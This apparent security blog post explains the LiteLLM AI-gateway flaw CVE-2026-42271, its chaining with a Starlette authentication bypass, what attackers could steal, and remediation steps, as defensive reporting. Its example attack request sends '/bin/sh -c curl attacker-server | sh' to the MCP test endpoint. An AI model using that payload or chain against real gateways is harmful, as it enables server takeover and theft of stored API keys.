LiteLLM AI Gateway Flaw CVE-2026-42271: Unauthenticated Takeover Risk

blog/Articles/LiteLLM AI Gateway Flaw CVE-2026-42271: Unauthenticated Takeover Risk

News Updated yesterday

Makoto Horikawa

Backend Engineer / AWS / Django

2026.06.099 min5 views

Share X Hatena LINE LinkedIn RSS

Key takeaways

LiteLLM, the popular gateway fronting 100+ AI services, has a server-takeover flaw (CVE-2026-42271). Chained with a Starlette bug it enables unauthenticated remote code execution, exposing every stored API key. Patch to 1.83.7 now.

LiteLLM, the popular tool that funnels all of a company's AI usage through a single gateway, has a flaw that lets anyone holding a management API key run arbitrary commands on the server. Worse, when combined with a separate bug, attackers can take it over from the outside with no login at all — a path proven on June 1, 2026. The vulnerability is CVE-2026-42271, affecting LiteLLM 1.74.2 through 1.83.6, fixed in 1.83.7.

LiteLLM is a proxy server (an "AI gateway") that lets you call 100-plus AI services such as OpenAI, Anthropic, and Google through the same OpenAI-compatible format. It has roughly 50,000 GitHub stars, and its README lists adopters including Stripe, Netflix, and Google's ADK. The common pattern is to centralize billing, key issuance, and access control here — which means a bundle of every provider's real API keys sits behind it. Losing control of that gateway is the same as handing over the entire keyring for every AI service hanging off it.

This is also the latest entry in a lineage of severe LiteLLM flaws in 2026. After April's CVE-2026-30623 (command execution via MCP) and May's CVE-2026-42208 (a flaw the U.S. government flagged as "exploited against critical infrastructure"), CVE-2026-42271 now escalates into a full external takeover. The AI gateway itself has become an attacker's battleground.

What Happened — At a Glance

Here is what each combination does, on one screen. CVE-2026-42271 alone requires a login, but chaining it with another bug changes its nature entirely.

Item	CVE-2026-42271 alone	Chained with CVE-2026-48710
Entry point	One valid API key required (low-privilege OK)	None (auth fully bypassed)
What it allows	Arbitrary command execution on the proxy host (server takeover)
Severity (CVSS)	8.8 (v3.1) 8.7 (v4.0)	10.0 (maximum)
Affected versions	1.74.2 – 1.83.6	same + bundled Starlette ≤ 1.0.0
Fixed version	LiteLLM 1.83.7	LiteLLM 1.83.7 + Starlette ≥ 1.0.1

The foothold is a pair of "MCP server connection test" endpoints that LiteLLM ships: POST /mcp-rest/test/connection and POST /mcp-rest/test/tools/list. Send these a configuration that includes a "command to launch," and the proxy runs that command as-is. The details are in the official advisory GHSA-v4p8-mg3p-g94g.

What LiteLLM and MCP Actually Are

LiteLLM exists so that in-house apps and chatbots don't have to write separate code for "connect to OpenAI," "connect to Anthropic," and so on. It consolidates every connection to every AI service into a single proxy server. The app side only needs to look at LiteLLM, which handles which provider to use behind the scenes, who spent how much, and filtering dangerous input. Convenient — but the volume of traffic passing through and keys stored here is enormous.

"MCP," the setting for this incident, is a shared standard (Model Context Protocol) for letting AI use external tools (in-house search, databases, file operations). MCP tools include a "stdio mode" that launches a program on the same machine as the AI and connects to it, and here you can pass "which command to launch" as configuration. The intent was to invoke only fixed launchers like npx or python.

LiteLLM provided preview endpoints to test whether an MCP server setting "connects properly" before saving it. The problem: these preview endpoints took the "command to launch" straight from user input and executed it with no permission check. A feature that should be reserved for administrators was open to any low-privilege user holding just one API key.

Who Wants This Bug, and What Do They Walk Off With

"AI gateway" is an abstract phrase that's easy to dismiss as someone else's problem. So let's name, from the attacker's side, exactly who wants this hole and what lands in their hands the moment it's stepped on. It helps to think of LiteLLM as the tollbooth for a company's AI usage: control the tollbooth, and you see every toll and every passage record.

The people who genuinely want to trigger this hole have clear faces: financially motivated ransomware crews chasing corporate AI budgets and customer data, resellers cashing in stolen API keys on the back of the generative-AI boom, rival firms wanting a peek at a competitor's AI adoption, and disgruntled former staff who hold a grudge against the in-house AI platform. What they want to carry off the proxy is specific: the real OpenAI, Anthropic, and Google API keys billed to each company; the expensive AI usage quotas those keys unlock for unlimited abuse; the customer inquiry logs and contracts fed to in-house chatbots; the connection string to the billing database; and the assorted auth tokens left on the server. The instant CVE-2026-42271 is triggered, all of this passes from the proxy's memory and environment variables straight into their hands.

Reconnaissance is shockingly easy. LiteLLM tends to be run exposed to the internet, and the presence of externally reachable admin panels and APIs has been noted in surveys like runZero's. An attacker either steals API keys via the sibling flaw (the SQL injection CVE-2026-42208 described below) to impersonate a legitimate user, or — with this chain — vaults over authentication entirely and simply lobs a "launch command" at the test endpoint. Once a command runs, they can open a channel to an external command-and-control server, steal cloud temporary credentials, move laterally deeper into the internal network, and plant long-term persistence — in whatever order they like.

CVSS 8.8 — 10.0 when chained — only describes the technical severity of one server being taken. What a company that has woven AI into its operations actually loses is an uncapped AI bill, the trust behind every "our AI is safe" assurance given to customers, and the prospect of its own AI quota being silently repurposed as someone else's attack infrastructure. Teams that handed out keys to low-privilege users and opened LiteLLM widely across the company are precisely the ones built to be punched through from the inside.

Inside CVE-2026-42271 — A Test Endpoint That Became a Command Runner

The flaw lived in the two MCP connection-test endpoints. They are for "trying out" a setting before saving, but they accepted the entire MCP server configuration in the request body. A stdio-mode config includes command (the command to launch), args (arguments), and env (environment variables), and while testing the connection LiteLLM spawns that command as a child process on the proxy host.

What an attack request looks like (POST /mcp-rest/test/connection)

{
  "transport": "stdio",
  "command": "/bin/sh",          <- any command
  "args": ["-c", "curl attacker-server | sh"],
  "env": { ... }
}

Put an arbitrary binary in command and an attacker-supplied instruction in args, send it, and the proxy runs it as-is.

The fatal part was that these two endpoints had no permission check. The endpoint that "saves" an MCP server config required admin rights (PROXY_ADMIN), yet the preceding "test" endpoint could be hit by anyone with a valid API key — even a low-privilege key handed out internally. Researcher jaydns reported the issue on April 20, 2026, and it was rated CVSS 8.8 (v3.1) / 8.7 (v4.0). The attack vector is AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H.

The fix, LiteLLM 1.83.7, changed the two test endpoints to require the same PROXY_ADMIN role as the save endpoint. In other words, it brought "admins only" into alignment — a straightforward fix for a permission design that should have been there from the start.

The Chain That Escalated It to "No Login Needed" — CVE-2026-48710

Up to here the premise was "if you hold one valid API key." On June 1, 2026, offensive-security firm Horizon3.ai proved a chain that removes that premise. The key was CVE-2026-48710, nicknamed "BadHost."

BadHost is a flaw in Starlette (the foundation of many Python APIs) that lets an attacker bypass validation of a request's "Host" field. LiteLLM is built on Starlette, and in environments that bundle version 1.0.0 or below, an attacker can craft the Host field to sail straight past the API key check. Horizon3.ai states plainly that "in LiteLLM deployments whose dependency tree includes Starlette versions ≤ 1.0.0, the authentication mechanism can be bypassed entirely."

Stack the two together and you get: (1) slip past authentication with BadHost, (2) reach the formerly admin-only MCP test endpoints, (3) lob in a command and execute it — all without a login. The result is an unauthenticated server takeover, and the chain is rated CVSS 10.0 (maximum). Remediation requires not only LiteLLM 1.83.7 or later but also raising Starlette to 1.0.1 or later.

What Is Confirmed, and What Is Not

This case is easily confused with reports that "attacks on LiteLLM are already happening," so let's separate what is verified at this point from what isn't.

✓ Confirmed facts

✓CVE-2026-42271 was proven to enable unauthenticated remote code execution via a chain (Horizon3.ai, June 1)
✓The sibling flaw CVE-2026-42208 (SQL injection) was added to the U.S. CISA "actively exploited" catalog on May 8, with exploitation reportedly confirmed against critical infrastructure such as financial services and healthcare (Miggo)
✓The fix, LiteLLM 1.83.7, is published; it now requires admin rights on the test endpoints

? Not yet confirmed

?For CVE-2026-42271 on its own, both NVD and SentinelOne state at the time of writing that "no active exploitation has been confirmed (Known Exploited: No)," and it is not individually listed in CISA's catalog — though given how easy the attack is and that the exploitation concept is public, follow-on abuse looks like a matter of time
?No published observational data on whether the chain (with CVE-2026-48710) has begun seeing wide use in the wild

In short: the LiteLLM product itself has already moved to the "actively attacked" side (its sibling flaw is exploited), while in-the-wild attacks on CVE-2026-42271 alone have no observation reports yet. Given the ease of attack and the product's footprint, there is no reason to wait. LiteLLM-related items sit in the watch zone of the U.S. government's list of actively exploited vulnerabilities (CISA KEV dashboard, Japanese) as well.

What Has Happened to LiteLLM in 2026

CVE-2026-42271 is no isolated accident; it is a recurrence of a structural problem the AI-gateway model carries — "passing external input straight through to execution or queries." Here is the main timeline of 2026 so far.

← swipe to move

April's command execution (CVE-2026-30623), May's SQL-injection-to-takeover (CVE-2026-42208 + CVE-2026-42203), and June's unauthenticated takeover (CVE-2026-42271 + CVE-2026-48710). Different techniques, same root. AI gateways frequently treat "a string from outside" as a command or a database query, and when that boundary is built loosely, it becomes an execution engine. Given how deeply such tools get embedded across OSS dependencies, continuous supply-chain auditing is essential. For how to cast that net, see our OSS supply chain scanner roundup as well.

What Gets Taken, by Deployment Pattern

A quick-reference table to judge how exposed your environment is. How you deploy LiteLLM greatly changes what can be taken.

Deployment pattern	Reachable by this flaw	Harder to reach (depends on config)
Directly exposed to the internet	✅ Login-free entry 　via the chain ✅ All API keys ✅ Billing DB string	❌ Other servers (if egress is restricted)
Internal network only + low-priv keys handed out	✅ Anyone internal 　can run commands ✅ Proxy takeover	❌ Direct external entry (internal reach is required)
Run as root in a container	✅ All rights in container ✅ Cloud temp credentials 　(via metadata)	❌ Host OS itself (depends on container boundary)

Note row two. Even if you think "we're closed to the internal network, so we're fine," if you've handed out low-privilege API keys widely across a department, any one holder of that key — or a single stolen key — is enough to take over the proxy. Don't overlook that a single inside blow lands even without internet exposure.

What to Do Right Now

If you run LiteLLM, work through the following in order. Item 1 is urgent; 2–5 within this week.

#	Action	Concretely what to do
1	Update to 1.83.7+ now	`pip install -U litellm` to 1.83.7 or later. For Docker, update the image tag.
2	Raise Starlette to 1.0.1+	To cut the chain (auth bypass), check with `pip show starlette` and upgrade.
3	Rotate all API keys	Assume possible compromise: reissue provider keys and virtual keys under LiteLLM.
4	Don't expose the admin panel	If internet-facing, move it behind a VPN/IP allowlist. Inventory your exposure.
5	Restrict outbound traffic	Allow only needed destinations. Block cloud-credential endpoints like `169.254.169.254`.

Item 5 (restricting outbound traffic) is a defense that works beyond this case. Even if a command runs, the routes for calling back to an external C2 server, stealing cloud temporary credentials, and moving laterally deeper inside are all closed off together. Item 3 (key rotation) is a chore, but since the sibling flaw is actively exploited, treat it as close to mandatory rather than "just in case."

Closing — Don't Let Anyone Walk Through the AI Tollbooth

CVE-2026-42271 drives home a reality: the convenient consolidation point that is an AI gateway can simultaneously become a "keyring vault" and a "command runner." The more you centralize a company's AI usage in one place, the wider the damage when it's breached. Here, an elementary permission gap — a test endpoint that should have been admin-only was open to anyone — overlapped with a separate auth bypass and leapt all the way to maximum severity.

The best a operator can do comes down to three things: (a) keep LiteLLM and Starlette updated, (b) rotate API keys regularly and keep privileges minimal, and (c) avoid carelessly exposing the admin panel and restrict outbound traffic. Assume that the comfort of "we're closed internally" or "we require a login" can crumble easily through a chain like this one.

If you haven't updated yet, review the official release and the advisory, and apply it within this week.